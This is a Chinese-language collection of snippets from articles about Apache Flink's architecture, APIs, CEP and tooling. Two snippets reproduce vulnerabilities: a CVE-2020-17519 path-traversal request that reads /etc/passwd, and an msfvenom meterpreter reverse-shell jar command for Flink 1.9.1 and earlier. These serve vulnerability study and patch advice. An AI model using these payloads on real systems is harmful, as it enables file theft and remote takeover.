Apache Flink培训 Apache Flink是用于可扩展流和批数据处理的开源平台，它提供了富有表现力的API来定义批和流数据程序，以及一个强大的可扩展的引擎来执行这些作业。...培训的目标和范围 本培训提供了对Apache Flink的观点介绍，包括足以让您开始编写可扩展的流式ETL，分析，以及事件驱动的应用程序，同时也省去了很多细节。...重点是直接介绍Flink用于管理状态和时间的API，期望已经掌握了这些基础知识，你将能够更好的从文档中获取你需要知道的其他内容。...你会学习到以下内容： 如何搭建环境用于开发Flink程序 如何实现流数据处理管道 Flink状态管理的方式和原理 如何使用事件时间来一致地计算准确分析 如何在连续的流中建立事件驱动的应用 Flink是如何以精确一次的语义提供容错和有状态的流处理
Apache Flink的简介 Apache Flink是一个开源的针对批量数据和流数据的处理引擎，已经发展为ASF的顶级项目之一。...Apache Flink的架构 当Flink集群启动后，首先会启动一个JobManger和一个或多个的 TaskManager。...Apache Flink兼容Apache Storm 考虑到业界当前主流的流式处理引擎为Apache Storm，Flink为了更好的与业界衔接，在流处理上对Storm是做了兼容，通过复用代码的方式即可实现...1、先来对比一下Apache Flink 与Apache Storm的异同： 与Apache Storm相比，Apache Flink少了一层节点管理器，TaskManager直接由主控节点管理 在流处理这一块...，Apache Flink与Apache Storm从运行实体到任务组件，基本上能一一对应 2、由上可得，虽然两者运行实体的结构及代码有一定的差别，但归根到底两者运行的都是有向无环图（DAG），所以从Storm
Apache Flink是什么？ 在当代数据量激增的时代，各种业务场景都有大量的业务数据产生，对于这些不断产生的数据应该如何进行有效的处理，成为当下大多数公司所面临的问题。...随着雅虎对hadoop的开源，越来越多的大数据处理技术开始涌入人们的视线，例如目前比较流行的大数据处理引擎Apache Spark,基本上已经取代了MapReduce成为当前大数据处理的标准。...lambada架构 大数据平台中包含批量计算的Batch Layer和实时计算的Speed Layer，通过在一套平台中将批计算和流计算整合在一起，例如使用Hadoop MapReduce进行批量数据的处理，使用Apache...后来随着Apache Spark的分布式内存处理框架的出现，提出了将数据切分成微批的处理模式进行流式数据处理，从而能够在一套计算框架内完成批量计算和流式计算。...像Apache Spark也只能兼顾高吞吐和高性能特性，主要因为在Spark Streaming流式计算中无法做到低延迟保障；而流式计算框架Apache Storm只能支持低延迟和高性能特性，但是无法满足高吞吐的要求
本文根据 Apache Flink 系列直播课程整理而成，由哈啰出行大数据实时平台资深开发刘博分享。...主要的内容分为如下三个部分： 1.Flink CEP 概念以及使用场景。 2.如何使用 Flink CEP。 3.如何扩展 Flink CEP。...Flink CEP 程序开发 本节将详细介绍 Flink CEP 的程序结构以及 API。 1.Flink CEP 程序结构 主要分为两部分：定义事件模式和匹配结果处理。...2.Flink CEP 构成 ?...梳理一下整体架构，Flink CEP 是运行在 Flink Job 里的，而规则库是放在外部存储中的。
摘要：本文介绍了一款开源发展的 Apache Flink Studio。...，但苦于没有一款适合 Flink SQL 界面化开发的工具，于是增加了 Flink 的门槛与成本。...二、简介 Dlink 为 Apache Flink 而生。...三、原理 四、技术栈 Apache Flink Mybatis Plus ant-design-pro Monaco Editor SpringBoot 五、目前特性 网页端的 FlinkSQL Studio...文档中心 七、未来 未来，Dlink 将紧跟 Flink 官方社区发展，为推广及发展 Flink 的应用而奋斗。
Apache Flink术语 Flink计算框架可以处理批数据也可以处理流式数据，Flink将批处理看成是流处理的一个特例，认为数据原本产生就是实时的数据流，这种数据叫做无界流（unbounded stream...一个数据流在算子之间传递数据可以是一对一（One-to-one）的模式传递，也可以是重分区（Redistributing）的模式传递，两者区别如下： One-to-one： 一对一传递模式(例如上图中的...Source和map()算子之间)保留了元素的分区和顺序，类似Spark中的窄依赖。...Redistributing： 重分区模式(如上面的map()和keyBy/window之间，以及keyBy/window和Sink之间)改变了流的分区，这种情况下数据流向的分区会改变，类似于Spark...这些传输方式都是重分区模式（Redistributing）。 在Flink中 One-to-one 的算子操作且并行度一致,默认自动合并在一起形成一个算子链 ，由一个task执行对应逻辑。
Flink的内存管理： Flink 并不是将大量对象存在堆上，而是将对象都序列化到一个预分配的内存块上，这个内存块叫做 MemorySegment，它代表了一段固定长度的内存（默认大小为 32KB），...也是 Flink 中最小的内存分配单元，并且提供了非常高效的读写方法。...Flink实现了自己的序列化框架，Flink处理的数据流通常是一种类型，所以可以只保存一份对象Schema信息，节省存储空间。又因为对象类型固定，所以可以通过偏移量存取。...TupleTypeInfo: 任意的 Flink Tuple 类型(支持Tuple1 to Tuple25)。Flink tuples 是固定长度固定类型的Java Tuple实现。...针对前六种类型数据集，Flink皆可以自动生成对应的TypeSerializer，能非常高效地对数据集进行序列化和反序列化。对于最后一种数据类型，Flink会使用Kryo进行序列化和反序列化。
0x01 漏洞简介 Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。...Apache Flink 1.11.0中引入的一项更改(包括版本1.11.1和1.11.2)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。....%252fetc%252fpasswd 0x05 修复建议 所有用户升级到Flink 1.11.3或1.12.0 小白出品，大佬勿喷！
“前一篇文章中大致讲解了Apache Flink数据的形态问题。Apache Flink实现分布式集合数据集转换、抽取、分组、统计等。...Apache Flink提供可以编写流处理与批处理的程序。其中DataSet API用于批处理，DataStream API用于流式处理。...Apache Flink对于提供了不同的时间概念： ? 事件时间(创建时间的时间):类似于我们使用log输出日志的时候所打印的时间。 摄取时间：是指事件源输入到Flink的时间。...容错 Apache Flink提供了容错的机制，基于状态与检查点进行执行。该机制确保了当出现故障时系统可以退回到检查点。...Apache Flink从容错可处理上可以实现(at least once, exactly once)
Flink ◆ Flink VS Storm VS Spark Streaming Flink概述 Apache Flink是一个框架和分布式处理引擎，用于对无界和有界数据流进行状态计算。...有界流的处理也称为批处理 [1240] Apache Flink擅长处理无界和有界数据集。精确控制时间和状态使Flink的运行时能够在无界流上运行任何类型的应用程序。...5 运行多样化 5.1 随处部署应用程序 Apache Flink是一个分布式系统，需要计算资源才能执行应用程序。...] 7 Flink 使用案例 Apache Flink 功能强大，支持开发和运行多种不同种类的应用程序。...同时它还提供了文件系统的连续型数据源及数据汇，可用来监控目录变化和以时间分区的方式写入文件。
Apache Flink架构介绍 一、Flink组件栈 在Flink的整个软件架构体系中，同样遵循这分层的架构设计理念，在降低系统耦合度的同时，也为上层用户构建Flink应用提供了丰富且友好的接口。...上图是Flink基本组件栈，从上图可以看出整个Flink的架构体系可以分为三层，从下往上依次是物理部署层、Runtime 核心层、API&Libraries层。...物理部署层： 该层主要涉及Flink的部署模式，目前Flink支持多种部署模式：本地Local、集群（Standalone/Yarn）、Kubernetes，Flink能够通过该层支撑不同平台的部署，用户可以根据需要来选择对应的部署模式...二、Flink运行时架构 Flink整个系统主要由两个组件组成，分别为JobManager和TaskManager，Flink架构也遵循Master-Slave架构设计原则，JobManager为Master...，其主要负责Flink集群资源分配、管理和回收。
一、Flink的定义Apache Flink 是一个框架和分布式处理引擎，用于在 无边界 和 有边界 数据流上进行有状态的计算。...Apache Flink 擅长处理无界和有界数据集，精确的时间控制和状态化使得 Flink 的运行时(runtime) 能够运行任何处理无界流的应用。...Flink官网：https://flink.apache.org二、Flink前身StratosphereFlink最早是德国一些大学中的研究项目，并且早期项目名称也不是Flink，在2010~2014...2014年4月，Stratosphere代码被贡献给Apache软件基金会，成为Apache基金会孵化器项目，项目孵化期间，项目Stratosphere改名为Flink。...Streaming 特性， 2014年底，Flink顺利从孵化器"毕业"成为Apache顶级项目。
What Apache Flink Apache Flink 是一个==分布式大数据处理引擎==，可对==有限数据流和无限数据流==进行==有状态计算==。...代码示例： package source.streamDataSource; import org.apache.flink.api.common.functions.FlatMapFunction...; import org.apache.flink.api.java.tuple.Tuple2; import org.apache.flink.streaming.api.TimeCharacteristic...; import org.apache.flink.streaming.api.datastream.DataStream; import org.apache.flink.streaming.api.datastream.DataStreamSource...; import org.apache.flink.streaming.api.environment.StreamExecutionEnvironment; import org.apache.flink.streaming.api.windowing.time.Time
Flink简介Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark...访问8081页面，可以正常访问，说明环境正常CVE-2020-17519 上传路径遍历读取任意文件影响版本：1.11.0, 1.11.1, 1.11.2Apache Flink 1.11.0中引入的更改...org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下如上图，filename 是直接从.../usr/bin/env python# coding:utf-8# author:B1anda0#affected versions are Apache Flink 1.11.0-1.11.2import...影响版本：Apache Flink <= 1.9.1漏洞复现1.生成反弹jar包msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT
概述 Apache Flink是分布式流和批处理数据处理的开源平台。Flink的核心是流数据流引擎，为数据流上的分布式计算提供数据分发，通信和容错。...如何启动本地Flink群集，来测试解释器 Zeppelin配有预配置的flink-local解释器，它在您的机器上以本地模式启动Flink，因此您不需要安装任何东西。...local'在本地模式下运行flink（默认） port 6123 运行JobManager的端口 有关Flink配置的更多信息，可以在这里找到。...如何测试它的工作 您可以在Zeppelin Tutorial文件夹中找到Flink使用的示例，或者尝试以下字数计数示例，方法是使用Till Rohrmann演示文稿中的Zeppelin笔记本 与Apache...Flink for Apache Flink Meetup进行交互式数据分析。
Apache Flink 是大数据领域又一新兴框架。它与 Spark 的不同之处在于，它是使用流式处理来模拟批量处理的，因此能够提供亚秒级的、符合 Exactly-once 语义的实时处理能力。...编写，我们可以使用 Maven 模板创建项目： mvn archetype:generate \ -DarchetypeGroupId=org.apache.flink \ -DarchetypeArtifactId...Kafka 数据源 Flink 对 Kafka 数据源提供了原生支持，我们需要选择正确的 Kafka 依赖版本，将其添加到 POM 文件中： org.apache.flink...具体来说，FlinkKafkaConsumer 类实现了 CheckpointedFunction 接口，会在检查点中存放主题名、分区名、以及偏移量： abstract class FlinkKafkaConsumerBase...recoverable.tempFile()); truncate(fs, tempFile, recoverable.offset()); out = fs.append(tempFile); } 结论 Apache
Scheduling 调度 Flink中的执行资源是通过任务执行槽来确定的。每个TaskManager有一个或者多个任务执行槽，每个可以运行一个并行任务的流水线。...注意Flink经常同时执行多个连续的任务：对数据流程序来说都会这样，但是对于批处理程序来只是频繁发生。 下面的图说明了这个情况。...除了顶点，ExecutionGraph执行图还包含中间结果IntermediateResult 和中间结果分区 IntermediateResultPartition。...前者跟踪中间数据集的状态，后者跟踪每个分区的状态。 ? 每个执行图ExecutionGraph有个一个与之关联的作业状态。这个作业状态表示了作业执行的当前状态。...一个Flink作业开始是创建状态完成，然后转为运行中状态，在完成所有作业之后再转为完成状态。万一失败了，作业就会转为失败中状态并且会撤销所有运行的任务。
如果在你的脑海里，“Apache Flink”和“流处理”没有很强的联系，那么你可能最近没有看新闻。Apache Flink已经席卷全球大数据领域。...现在正是这样的工具蓬勃发展的绝佳机会：流处理在数据处理中变得越来越流行，Apache Flink引入了许多重要的创新。 在本文中，我将演示如何使用Apache Flink编写流处理算法。...我已经写了一篇介绍性的博客文章，介绍如何使用Apache Flink 进行批处理，我建议您先阅读它。 如果您已经知道如何在Apache Flink中使用批处理，那么流处理对您来说没有太多惊喜。...在这种情况下，Apache Flink会不断监视一个文件夹，并在文件生成时处理它们。...这是一篇介绍性文章，还有更多有关Apache Flink的东西。我会在不久的将来写更多关于Flink的文章，敬请关注！
与此同时，Flink社区也从一个相对较小，并且地理上集中的团队，成长为一个真正的全球性的大型社区，并在Apache软件基金会成为最大的大数据社区之一。...2015 Flink 推进会 毫无疑问，对于Flink而言，2015年的最重要的事件之一就是10月份在柏林举办的Flink 推进会，这是Apache Flink的首次会议。...Flink git库: git clone git@github.com:apache/flink.git 3.利用gitstats产生统计数据: gitstats flink/ flink-stats.../ 4.在你常用的浏览器中（例如：chrome）查看统计页面： chrome flink-stats/index.html 首先，我们可以观察到从Apache项目孵化开始，Flink的源代码行数一直平稳增长...对Apache Mesos以及动态资源YARN的支持：同时支持Mesos 以及 YARN，包括动态分配和资源释放，从而获得更多资源弹性（包括批处理和流式处理）。
本篇将介绍Apache Flink利用持续查询来对流计算结果进行持续输出的实现原理。...那么在宏观设计上Apache Flink与传统数据库一样都可以对数据表进行SQL查询，并将产出的结果写入到数据存储里面，那么Apache Flink上面的SQL查询和传统数据库查询的区别是什么呢？...Apache Flink 如何做到持续查询 动态表上面持续查询 在 《Apache Flink 漫谈系列 - 流表对偶(duality)性》 中我们了解到流和表可以相互转换，在Apache Flink流计算中携带流事件的...那么Apache Flink内部是如何正确处理的呢？...Apache Flink Connector 类型 本篇一开始就对比了MySQL的数据存储和Apache Flink数据存储的区别，Apache Flink目前是一个计算平台，将数据的存储以高度抽象的插件机制与各种已有的数据存储无缝对接
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